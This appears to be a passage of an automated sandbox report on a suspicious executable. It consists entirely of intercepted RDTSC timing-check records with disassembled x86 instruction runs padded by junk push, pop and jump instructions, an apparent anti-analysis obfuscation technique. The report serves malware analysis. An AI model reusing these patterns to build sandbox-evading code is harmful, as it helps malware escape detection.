Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B36 second address: 615B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB4390A66B6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FB4390A66B6h 0x00000014 jmp 00007FB4390A66C1h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B5C second address: 615B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B62 second address: 615B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B68 second address: 615B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B6C second address: 615B97 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB4390A66C7h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push eax 0x00000015 pop eax 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B97 second address: 615BA6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007FB438C61F26h 0x00000009 pop esi 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B77F second address: 61B78B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FB4390A66B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B78B second address: 61B7C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F36h 0x00000007 jmp 00007FB438C61F2Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB438C61F34h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B7C5 second address: 61B7C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A27 second address: 621A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A2B second address: 621A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A31 second address: 621A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A3A second address: 621A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A44 second address: 621A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B190 second address: 62B195 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B195 second address: 62B1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB438C61F26h 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB438C61F30h 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AD9E second address: 62ADA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D3E6 second address: 62D3FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F30h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D3FA second address: 62D405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C42B second address: 63C43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F2Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BBA2 second address: 64BBD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C2h 0x00000007 jnc 00007FB4390A66B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB4390A66C1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BBD6 second address: 64BBDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BFDE second address: 64BFE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BFE2 second address: 64BFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB438C61F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FB438C61F2Ch 0x00000012 jne 00007FB438C61F26h 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C252 second address: 64C257 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C257 second address: 64C285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007FB438C61F2Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB438C61F38h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C401 second address: 64C448 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FB4390A66C4h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jmp 00007FB4390A66C3h 0x00000011 jmp 00007FB4390A66C7h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C5DB second address: 64C5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 jne 00007FB438C61F26h 0x0000000d jmp 00007FB438C61F32h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D029 second address: 64D02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D02D second address: 64D031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D031 second address: 64D03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D03C second address: 64D046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658C4F second address: 658C6A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FB4390A66C2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B373 second address: 65B3A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FB438C61F28h 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jo 00007FB438C61F26h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C194 second address: 66C198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C198 second address: 66C19E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C19E second address: 66C1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C1A9 second address: 66C1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6714CD second address: 6714D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6714D3 second address: 6714EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB438C61F33h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671041 second address: 67105C instructions: 0x00000000 rdtsc 0x00000002 js 00007FB4390A66BEh 0x00000008 pushad 0x00000009 js 00007FB4390A66B6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688E73 second address: 688E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688E77 second address: 688EA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB4390A66C7h 0x0000000b pop ebx 0x0000000c je 00007FB4390A66C0h 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688FEE second address: 68900D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F36h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6892BB second address: 6892C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689579 second address: 689583 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB438C61F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689583 second address: 689588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C46A second address: 68C470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DC95 second address: 68DC9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69150F second address: 691513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691513 second address: 691528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691528 second address: 691532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691532 second address: 691538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691538 second address: 69153C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69153C second address: 691573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BFh 0x00000007 jmp 00007FB4390A66BFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FB4390A66C3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691573 second address: 69157D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB438C61F2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0234 second address: 4CE029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB4390A66C6h 0x0000000f push eax 0x00000010 jmp 00007FB4390A66BBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 pushfd 0x00000019 jmp 00007FB4390A66BBh 0x0000001e or ecx, 5FBB9E0Eh 0x00000024 jmp 00007FB4390A66C9h 0x00000029 popfd 0x0000002a pop esi 0x0000002b movsx edx, si 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE032C second address: 4CE0332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE040F second address: 4CE0449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB4390A66BFh 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FB4390A66C4h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movzx eax, bx 0x0000001e push edx 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0449 second address: 4CE045E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F31h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE045E second address: 4CE0462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0462 second address: 4CE048C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FB438C61F2Ch 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB438C61F2Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE048C second address: 4CE0503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 00515614h 0x00000008 mov cx, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f jmp 00007FB4390A66BFh 0x00000014 call 00007FB4AA5FA1FEh 0x00000019 push 762327D0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [762C0140h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e jmp 00007FB4390A66C6h 0x00000063 and dword ptr [ebp-04h], 00000000h 0x00000067 pushad 0x00000068 push ecx 0x00000069 push ebx 0x0000006a pop ecx 0x0000006b pop edx 0x0000006c mov bl, cl 0x0000006e popad 0x0000006f mov edx, dword ptr [ebp+0Ch] 0x00000072 jmp 00007FB4390A66C1h 0x00000077 mov esi, edx 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007FB4390A66C8h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0503 second address: 4CE0509 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0509 second address: 4CE050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE050F second address: 4CE0513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0513 second address: 4CE0517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE058F second address: 4CE059F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE059F second address: 4CE05A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05A3 second address: 4CE05D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a jmp 00007FB438C61F2Ch 0x0000000f mov edi, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB438C61F37h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05D5 second address: 4CE05DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05DB second address: 4CE05DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05DF second address: 4CE0608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 jmp 00007FB4390A66C7h 0x0000000e lea ebx, dword ptr [edi+01h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0608 second address: 4CE060E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE060E second address: 4CE062B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4390A66C9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE062B second address: 4CE062F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE062F second address: 4CE0657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b jmp 00007FB4390A66BDh 0x00000010 inc edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB4390A66BDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0657 second address: 4CE065D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE065D second address: 4CE0661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0661 second address: 4CE06C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007FB438C61F2Fh 0x0000000f jne 00007FB4AA1AA32Bh 0x00000015 jmp 00007FB438C61F36h 0x0000001a mov ecx, edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ah, bh 0x00000021 pushfd 0x00000022 jmp 00007FB438C61F36h 0x00000027 sbb ch, FFFFFFD8h 0x0000002a jmp 00007FB438C61F2Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE06C4 second address: 4CE06C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE06C9 second address: 4CE070D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a shr ecx, 02h 0x0000000d jmp 00007FB438C61F37h 0x00000012 rep movsd 0x00000014 rep movsd 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c jmp 00007FB438C61F36h 0x00000021 mov ecx, edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov edx, eax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE070D second address: 4CE0713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0713 second address: 4CE0756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 03h 0x0000000b jmp 00007FB438C61F33h 0x00000010 rep movsb 0x00000012 jmp 00007FB438C61F36h 0x00000017 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0756 second address: 4CE075A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE075A second address: 4CE0777 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0777 second address: 4CE07A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007FB4390A66BEh 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ax, di 0x00000019 mov dh, D7h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE07A8 second address: 4CE040F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f pushad 0x00000010 push ecx 0x00000011 mov ax, bx 0x00000014 pop edx 0x00000015 mov al, 05h 0x00000017 popad 0x00000018 pop ecx 0x00000019 jmp 00007FB438C61F2Fh 0x0000001e pop edi 0x0000001f jmp 00007FB438C61F36h 0x00000024 pop esi 0x00000025 jmp 00007FB438C61F30h 0x0000002a pop ebx 0x0000002b jmp 00007FB438C61F30h 0x00000030 leave 0x00000031 jmp 00007FB438C61F30h 0x00000036 retn 0008h 0x00000039 cmp dword ptr [ebp-2Ch], 10h 0x0000003d mov eax, dword ptr [ebp-40h] 0x00000040 jnc 00007FB438C61F25h 0x00000042 push eax 0x00000043 lea edx, dword ptr [ebp-00000590h] 0x00000049 push edx 0x0000004a call esi 0x0000004c push 00000008h 